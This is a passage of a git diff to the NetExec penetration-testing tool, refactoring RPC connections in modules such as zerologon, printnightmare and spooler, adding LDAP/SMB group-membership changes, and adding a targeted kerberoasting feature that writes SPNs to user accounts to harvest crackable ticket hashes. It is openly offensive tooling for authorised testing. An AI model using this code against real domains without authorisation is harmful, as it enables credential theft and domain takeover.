+ except Exception as e:
+ if "STATUS_MEMBER_IN_GROUP" in str(e):
+ self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
+ else:
+ self.context.log.fail(f"Failed to add user to group via SMB: {e}")
+
+ # Disconnect from DCE/RPC
+ with contextlib.suppress(Exception):
+ dce.disconnect()
+
+ def _modify_group_ldap(self):
+ """Modify group membership using LDAP protocol"""
+ # Get the DN of the target user
+ resp = self._find_object_dn(self.target_user)
+ if not resp:
+ self.context.log.fail(f"Target user not found: {self.target_user}")
+ return
+ else:
+ target_user_dn = resp[0]["distinguishedName"]
+
+ # Get the DN of the target group
+ resp = self._find_object_dn(self.group)
+ if not resp:
+ self.context.log.fail(f"Target group not found: {self.group}")
+ return
+ else:
+ group_dn = resp[0]["distinguishedName"]
+
+ # Modify group membership
+ if self.remove:
+ try:
+ self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
+ self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
+ except Exception as e:
+ if "unwillingToPerform" in str(e):
+ self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
+ else:
+ self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
+ else:
+ try:
+ self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
+ self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
+ except Exception as e:
+ if "entryAlreadyExists" in str(e):
+ self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
+ else:
+ self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
+
+ def _find_object_dn(self, value):
+ """Find the distinguished name (DN) of an object by sAMAccountName"""
+ resp = self.connection.ldap_connection.search(
+ searchFilter=f"(sAMAccountName={value})",
+ attributes=["distinguishedName"]
+ )
+ return parse_result_attributes(resp)
diff --git a/nxc/modules/ntlm_reflection.py b/nxc/modules/ntlm_reflection.py
index a80f2229..21dacee9 100644
--- a/nxc/modules/ntlm_reflection.py
+++ b/nxc/modules/ntlm_reflection.py
@@ -10,7 +10,7 @@ class NXCModule:
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
name = "ntlm_reflection"
- description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
+ description = "[REMOVED] This module has been integrated into the enum_cve module."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
diff --git a/nxc/modules/presence.py b/nxc/modules/presence.py
index cb40b2e9..1fccfe76 100644
--- a/nxc/modules/presence.py
+++ b/nxc/modules/presence.py
@@ -1,10 +1,11 @@
import re
-from impacket.dcerpc.v5 import samr, tsch, transport
+from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import tsts as TSTS
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from contextlib import suppress
import traceback
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -39,36 +40,19 @@ class NXCModule:
context.log.fail(str(e))
context.log.debug(traceback.format_exc())
- def get_dce_rpc(self, target, string_binding, dce_binding, connection):
- # Create a DCE/RPC transport object with the specified string binding
- rpctransport = transport.DCERPCTransportFactory(string_binding)
- rpctransport.setRemoteHost(target)
- rpctransport.set_credentials(
- connection.username,
- connection.password,
- connection.domain,
- connection.lmhash,
- connection.nthash,
- aesKey=connection.aesKey,
+ def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None):
+ return NXCRPCConnection(connection).connect(
+ named_pipe,
+ dce_binding,
+ target_ip=target_ip,
+ auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
- rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
-
- # Connect to the DCE/RPC endpoint
- dce = rpctransport.get_dce_rpc()
- if connection.kerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
- dce.set_credentials(*rpctransport.get_credentials())
- dce.connect()
- dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
- dce.bind(dce_binding)
- return dce
def enumerate_admin_users(self, context, connection):
admin_users = []
try:
- string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
- dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
+ dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
except Exception as e:
context.log.fail(f"Failed to connect to SAMR: {e}")
context.log.debug(traceback.format_exc())
@@ -174,9 +158,7 @@ class NXCModule:
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
try:
- target = connection.remoteName if connection.kerberos else connection.host
- stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]"
- dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection)
+ dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection)
# Also extract non admins where we can get the password
self.non_admins = []
@@ -200,8 +182,7 @@ class NXCModule:
non_admin_sids.add(sid.group(1))
if non_admin_sids:
- string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
- dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
+ dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
# Get Domain Handle
server_handle = samr.hSamrConnect2(dce)["ServerHandle"]
diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py
index 253a5580..3028ebb5 100644
--- a/nxc/modules/printnightmare.py
+++ b/nxc/modules/printnightmare.py
@@ -1,17 +1,13 @@
from impacket import system_errors
-from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
+from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes
from impacket.structure import Structure
-from impacket.dcerpc.v5 import transport, rprn
+from impacket.dcerpc.v5 import rprn
+from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
from nxc.helpers.misc import CATEGORY
-KNOWN_PROTOCOLS = {
- 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
- 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
-}
-
class NXCModule:
"""
@@ -27,7 +23,6 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
- self.__string_binding = None
self.port = None
def options(self, context, module_options):
@@ -37,35 +32,8 @@ class NXCModule:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
- # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
- target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
- stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]"
-
- context.log.info(f"Binding to {stringbinding!r}")
-
- rpctransport = transport.DCERPCTransportFactory(stringbinding)
-
- rpctransport.set_credentials(
- connection.username,
- connection.password,
- connection.domain,
- connection.lmhash,
- connection.nthash,
- connection.aesKey,
- )
-
- rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
- rpctransport.setRemoteHost(target)
- rpctransport.set_dport(self.port)
-
try:
- dce = rpctransport.get_dce_rpc()
- if connection.kerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
- # Connect to spoolss named pipe
- dce.connect()
- # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
- dce.bind(rprn.MSRPC_UUID_RPRN)
+ dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail(f"Failed to bind: {e}")
return False
diff --git a/nxc/modules/pso.py b/nxc/modules/pso.py
index 8f2dbca7..16c1867a 100644
--- a/nxc/modules/pso.py
+++ b/nxc/modules/pso.py
@@ -8,7 +8,7 @@ class NXCModule:
Module by @_sandw1ch
"""
name = "pso"
- description = "Module to get the Fine Grained Password Policy/PSOs"
+ description = "[REMOVED] This module moved to the core option --pso"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
diff --git a/nxc/modules/sccm-recon6.py b/nxc/modules/sccm-recon6.py
index bae1682a..3e11b74b 100644
--- a/nxc/modules/sccm-recon6.py
+++ b/nxc/modules/sccm-recon6.py
@@ -1,9 +1,9 @@
import contextlib
-from impacket.dcerpc.v5 import transport, rrp
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
from impacket.smbconnection import SMBConnection
@@ -24,18 +24,9 @@ class NXCModule:
connection.trigger_winreg()
- rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
- rpc.set_smb_connection(connection.conn)
-
- if connection.kerberos:
- rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
- dce = rpc.get_dce_rpc()
- if connection.kerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-
+ dce = None
try:
- dce.connect()
- dce.bind(rrp.MSRPC_UUID_RRP)
+ dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Open HKEY_LOCAL_MACHINE
ans = rrp.hOpenLocalMachine(dce)
@@ -47,7 +38,7 @@ class NXCModule:
except DCERPCException:
self.context.log.fail("No site Database found")
except DCERPCException as e:
- if "rpc_s_access_denied" in str(e):
+ if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.info(f"Probably not a primary site server or a distribution point: {e}")
else:
self.context.log.fail(f"Unexpected error: {e}")
diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py
index 431566dc..023c00d9 100644
--- a/nxc/modules/schtask_as.py
+++ b/nxc/modules/schtask_as.py
@@ -44,7 +44,6 @@ class NXCModule:
nxc smb -u -p -M schtask_as -o USER=Administrator CMD='dir \\\pwn' TASK='Legit Task' SILENTCOMMAND='True'
nxc smb -u -p -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
"""
- self.logger = context.log
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
self.share = "C$"
self.output_file_location = "\\Windows\\Temp"
@@ -71,6 +70,7 @@ class NXCModule:
self.template_name = module_options.get("TEMPLATE")
def on_admin_login(self, context, connection):
+ self.logger = context.log
if self.command_to_run is None:
self.logger.fail("You need to specify a CMD to run")
@@ -173,24 +173,15 @@ class NXCModule:
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
- connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
- connection.smb_share_name,
- connection.username,
- connection.password,
- connection.domain,
- connection.kerberos,
- connection.aesKey,
- connection.host,
- connection.kdcHost,
- connection.hash,
- self.logger,
- connection.args.get_output_tries,
- connection.args.share,
- self.run_task_as,
- self.command_to_run,
- self.output_filename,
- self.task_name,
- self.output_file_location,
+ connection=connection,
+ logger=self.logger,
+ tries=connection.args.get_output_tries,
+ share=connection.args.share,
+ run_task_as=self.run_task_as,
+ run_cmd=self.command_to_run,
+ output_filename=self.output_filename,
+ task_name=self.task_name,
+ output_file_location=self.output_file_location,
)
if self.show_output is False:
diff --git a/nxc/modules/security-questions.py b/nxc/modules/security-questions.py
index a1cfd5f3..801a29c1 100644
--- a/nxc/modules/security-questions.py
+++ b/nxc/modules/security-questions.py
@@ -1,9 +1,10 @@
-from impacket.dcerpc.v5 import samr, transport
+from impacket.dcerpc.v5 import samr
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -46,24 +47,14 @@ class NXCModule:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
- self.getSAMRResetInfo(context)
-
- def getSAMRResetInfo(self, context):
- string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
- rpc_transport = transport.DCERPCTransportFactory(string_binding)
- rpc_transport.set_dport(445)
- rpc_transport.setRemoteHost(self.__targetIp)
-
- if hasattr(rpc_transport, "set_credentials"):
- # This method exists only for selected protocol sequences.
- rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
- self.__nthash, self.__aesKey)
- rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
+ self.getSAMRResetInfo(context, connection)
+ def getSAMRResetInfo(self, context, connection):
+ dce = None
+ server_handle = None
+ domain_handle = None
try:
- dce = rpc_transport.get_dce_rpc()
- dce.connect()
- dce.bind(samr.MSRPC_UUID_SAMR)
+ dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
@@ -128,8 +119,11 @@ class NXCModule:
context.log.debug(traceback_format_exc())
finally:
- if domain_handle is not None:
- samr.hSamrCloseHandle(dce, domain_handle)
- if server_handle is not None:
- samr.hSamrCloseHandle(dce, server_handle)
+ try:
+ if domain_handle is not None:
+ samr.hSamrCloseHandle(dce, domain_handle)
+ if server_handle is not None:
+ samr.hSamrCloseHandle(dce, server_handle)
+ except Exception as e:
+ context.log.debug(f"Error during SAMR cleanup: {e}")
dce.disconnect()
diff --git a/nxc/modules/spooler.py b/nxc/modules/spooler.py
index 747ae6ed..a9971306 100644
--- a/nxc/modules/spooler.py
+++ b/nxc/modules/spooler.py
@@ -1,6 +1,6 @@
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
from impacket import uuid
-from impacket.dcerpc.v5 import transport, epm
+from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.rpch import (
RPC_PROXY_INVALID_RPC_PORT_ERR,
RPC_PROXY_CONN_A1_0X6BA_ERR,
@@ -9,11 +9,7 @@ from impacket.dcerpc.v5.rpch import (
)
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
-
-KNOWN_PROTOCOLS = {
- 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
- 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
-}
+from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -41,21 +37,20 @@ class NXCModule:
def on_login(self, context, connection):
entries = []
- lmhash = getattr(connection, "lmhash", "")
- nthash = getattr(connection, "nthash", "")
-
- self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
- context.log.debug(f"StringBinding {self.__stringbinding}")
- rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
- rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
- rpctransport.setRemoteHost(connection.host)
- rpctransport.set_dport(self.port)
-
- if connection.kerberos:
- rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
+ use_tcp = self.port == 135
try:
- entries = self.__fetch_list(connection.kerberos, rpctransport)
+ rpc = NXCRPCConnection(connection, force_tcp=use_tcp)
+ if use_tcp:
+ rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
+ else:
+ rpc.rpc_transport = rpc.create_smb_transport(r"\epmapper")
+ dce = rpc.rpc_transport.get_dce_rpc()
+ if connection.kerberos:
+ dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+ dce.connect()
+ entries = list(epm.hept_lookup(None, dce=dce))
+ dce.disconnect()
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -112,12 +107,3 @@ class NXCModule:
context.log.debug(f"[Spooler] Received {num} endpoints")
else:
context.log.debug("[Spooler] No endpoints found")
-
- def __fetch_list(self, doKerberos, rpctransport):
- dce = rpctransport.get_dce_rpc()
- if doKerberos:
- dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
- dce.connect()
- resp = epm.hept_lookup(None, dce=dce)
- dce.disconnect()
- return resp
diff --git a/nxc/modules/zerologon.py b/nxc/modules/zerologon.py
index 770d1afc..60439a1a 100644
--- a/nxc/modules/zerologon.py
+++ b/nxc/modules/zerologon.py
@@ -1,10 +1,11 @@
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
# credit to @dirkjanm
# module by : @mpgn_x64
-from impacket.dcerpc.v5 import nrpc, epm, transport
+from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
import sys
from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
from nxc.logger import nxc_logger
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
@@ -26,7 +27,7 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
- if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
+ if self.perform_attack(connection, "\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
@@ -43,17 +44,20 @@ class NXCModule:
except Exception:
self.context.log.debug("Error updating zerologon status in database")
- def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
+ def perform_attack(self, connection, dc_handle, dc_ip, target_computer, remoteHost):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
- rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
- rpc_con_.setRemoteHost(remoteHost)
- rpc_con = rpc_con_.get_dce_rpc()
- rpc_con.connect()
- rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
+ string_binding = binding.replace(remoteHost, dc_ip)
+ rpc_con = NXCRPCConnection(connection).connect(
+ None,
+ nrpc.MSRPC_UUID_NRPC,
+ string_binding=string_binding,
+ set_remote_host=remoteHost,
+ anonymous_rpc=True,
+ )
for _attempt in range(MAX_ATTEMPTS):
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
if result:
diff --git a/nxc/netexec.py b/nxc/netexec.py
old mode 100755
new mode 100644
index 18e9a9e2..f606e6e5
--- a/nxc/netexec.py
+++ b/nxc/netexec.py
@@ -1,4 +1,5 @@
# PYTHON_ARGCOMPLETE_OK
+import contextlib
import sys
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file, display_modules
@@ -17,6 +18,7 @@ from nxc.database import create_db_engine
from concurrent.futures import ThreadPoolExecutor, as_completed
import asyncio
from nxc.helpers import powershell
+import signal
import shutil
import os
from os.path import exists
@@ -67,7 +69,19 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
+def ctrl_c(sig, frame):
+ nxc_logger.debug("Got keyboard interrupt")
+ with contextlib.suppress(Exception):
+ if hasattr(nxc_console, "_live_stack") and nxc_console._live_stack:
+ for live in nxc_console._live_stack:
+ live.stop()
+ nxc_console.show_cursor(True)
+ nxc_logger.highlight("[!] Interrupted, exiting.")
+ os._exit(0)
+
+
def main():
+ signal.signal(signal.SIGINT, ctrl_c)
first_run_setup(nxc_logger)
args, version_info = gen_cli_args()
@@ -209,8 +223,6 @@ def main():
try:
asyncio.run(start_run(protocol_object, args, db, targets))
- except KeyboardInterrupt:
- nxc_logger.debug("Got keyboard interrupt")
finally:
db_engine.dispose()
diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py
index eadb96a1..d91bcb68 100644
--- a/nxc/protocols/ftp.py
+++ b/nxc/protocols/ftp.py
@@ -23,17 +23,6 @@ class ftp(connection):
}
)
- def proto_flow(self):
- self.proto_logger()
- if self.create_conn_obj() and self.login():
- if hasattr(self.args, "module") and self.args.module:
- self.load_modules()
- self.logger.debug("Calling modules")
- self.call_modules()
- else:
- self.logger.debug("Calling command arguments")
- self.call_cmd_args()
-
def enum_host_info(self):
welcome = self.conn.getwelcome()
self.logger.debug(f"Welcome result: {welcome}")
@@ -165,7 +154,7 @@ class ftp(connection):
self.logger.fail(f"Failed to upload file. {local_file} does not exist locally.")
return False
# Check if the file was uploaded
- if self.conn.size(remote_file) > 0:
+ if self.conn.size(remote_file) is not None:
self.logger.success(f"Uploaded: {local_file} to {remote_file}")
else:
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py
index 8b271f67..67b2bcfd 100644
--- a/nxc/protocols/ldap.py
+++ b/nxc/protocols/ldap.py
@@ -14,7 +14,6 @@ from termcolor import colored
from dns import resolver
from dateutil.relativedelta import relativedelta as rd
-from Cryptodome.Hash import MD4
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
from bloodhound.ad.domain import AD
@@ -28,20 +27,21 @@ from impacket.dcerpc.v5.samr import (
SAM_MACHINE_ACCOUNT,
)
from impacket.krb5 import constants
+from impacket.krb5.crypto import generate_kerberos_keys
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldaptypes
from impacket.ldap import ldapasn1 as ldapasn1_impacket
-from impacket.ldap.ldap import LDAPFilterSyntaxError
+from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE
from impacket.smbconnection import SessionError
from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
-from nxc.helpers.misc import get_bloodhound_info, convert, d2b
+from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
from nxc.logger import NXCAdapter
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
@@ -626,6 +626,7 @@ class ldap(connection):
search_filter = (f"(|(objectSid={self.sid_domain}-512)"
f"(objectSid={self.sid_domain}-519)"
f"(objectSid={self.sid_domain}-544)"
+ "(objectSid=S-1-5-32-544)"
"(objectSid=S-1-5-32-549)"
"(objectSid=S-1-5-32-551))")
attributes = ["distinguishedName"]
@@ -648,6 +649,10 @@ class ldap(connection):
for item in resp_parsed:
if item:
self.admin_privs = True
+ return
+
+ # If nothing matched we are not admin
+ self.admin_privs = False
def getUnixTime(self, t):
t -= 116444736000000000
@@ -740,7 +745,7 @@ class ldap(connection):
self.logger.debug(f"Dumping group: {self.args.groups}")
# Resolve group DN and primaryGroupID (objectSid)
- group_resp = self.search(f"(cn={self.args.groups})", ["distinguishedName", "objectSid"])
+ group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
group_parsed = parse_result_attributes(group_resp)
if not group_parsed:
@@ -768,7 +773,8 @@ class ldap(connection):
else:
for item in resp_parsed:
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
- self.logger.highlight(item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"])
+ # Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
+ self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
else:
# Display all groups
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
@@ -965,57 +971,15 @@ class ldap(connection):
def kerberoasting(self):
if self.args.no_preauth_targets:
- usernames = []
- for item in self.args.no_preauth_targets:
- if os.path.isfile(item):
- with open(item, encoding="utf-8") as f:
- usernames.extend(line.strip() for line in f if line.strip())
- else:
- usernames.append(item.strip())
-
- skipped = []
- hashes = []
-
- for spn in usernames:
- base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
-
- if base_name.lower() == "krbtgt" or base_name.endswith("$"):
- skipped.append(base_name)
- continue
-
- if not self.username:
- self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
- return
- hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
- if hashline:
- hashes.append(hashline)
-
- if skipped:
- self.logger.display(f"Skipping account: {', '.join(skipped)}")
- if hashes:
- self.logger.display(f"Total of records returned {len(hashes)}")
- else:
- self.logger.highlight("No entries found!")
-
- for line in hashes:
- self.logger.highlight(line)
- if self.args.kerberoasting:
- with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
- f.write(line + "\n")
+ self.roast_no_preauth()
return
- if self.args.kerberoast_account:
- target_accounts = []
- for item in self.args.kerberoast_account:
- if os.path.isfile(item):
- try:
- with open(item, encoding="utf-8") as f:
- target_accounts.extend(line.strip() for line in f if line.strip())
- except Exception as e:
- self.logger.fail(f"Failed to read file '{item}': {e}")
- else:
- target_accounts.append(item.strip())
-
+ if self.args.targeted_kerberoast:
+ target_users = parse_argument(self.args.targeted_kerberoast)
+ user_filter = "".join(f"(sAMAccountName={user})" for user in target_users)
+ searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))"
+ elif self.args.kerberoast_account:
+ target_accounts = parse_argument(self.args.kerberoast_account)
self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
# build search filter for specific users
@@ -1033,8 +997,10 @@ class ldap(connection):
"pwdLastSet",
"lastLogon",
"objectClass",
+ "distinguishedName",
]
- resp = self.search(searchFilter, attributes, 0)
+
+ resp = self.search(searchFilter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Search Filter: {searchFilter}")
self.logger.debug(f"Attributes: {attributes}")
@@ -1042,26 +1008,43 @@ class ldap(connection):
if not resp_parsed:
self.logger.highlight("No entries found!")
- else:
- # Filter disabled accounts
- disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
- for account in disabled_accounts:
- self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
+ return
- # Get all enabled accounts
- enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
+ disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
+ for account in disabled_accounts:
+ self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
+
+ enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
+
+ if self.args.targeted_kerberoast:
+ self.logger.success(f"Found {len(enabled)} enabled users without SPN.")
+ else:
self.logger.display(f"Total of records returned {len(enabled):d}")
- for user in enabled:
- # Perform Kerberos Attack
+ for user in enabled:
+ spn_added = False
+
+ if self.args.targeted_kerberoast:
+ try:
+ self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [f"cifs/{user['sAMAccountName']}"])]})
+ self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}")
+ spn_added = True
+ except ldap_impacket.LDAPSessionError as e:
+ if "insufficientAccessRights" in str(e) or "INSUFF_ACCESS_RIGHTS" in str(e):
+ self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute")
+ else:
+ self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}")
+ self.logger.debug("Traceback", exc_info=True)
+ continue
+
+ try:
TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache)
self.logger.debug(f"TGT: {TGT}")
if TGT:
- downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}"
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
- principalName.components = [downLevelLogonName]
+ principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
@@ -1076,22 +1059,61 @@ class ldap(connection):
oldSessionKey,
sessionKey,
user["sAMAccountName"],
- downLevelLogonName,
+ f"{self.targetDomain}\\{user['sAMAccountName']}",
is_computer="computer" in user.get("objectClass", [])
)
pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"]))))
lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"]))))
self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}")
- self.logger.highlight(f"{out}")
+ self.logger.highlight(out)
if self.args.kerberoasting:
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(out + "\n")
except Exception as e:
self.logger.debug(f"Exception: {e}", exc_info=True)
- self.logger.fail(f"Principal: {downLevelLogonName} - {e}")
+ self.logger.fail(f"Principal: {self.targetDomain}\\{user['sAMAccountName']} - {e}")
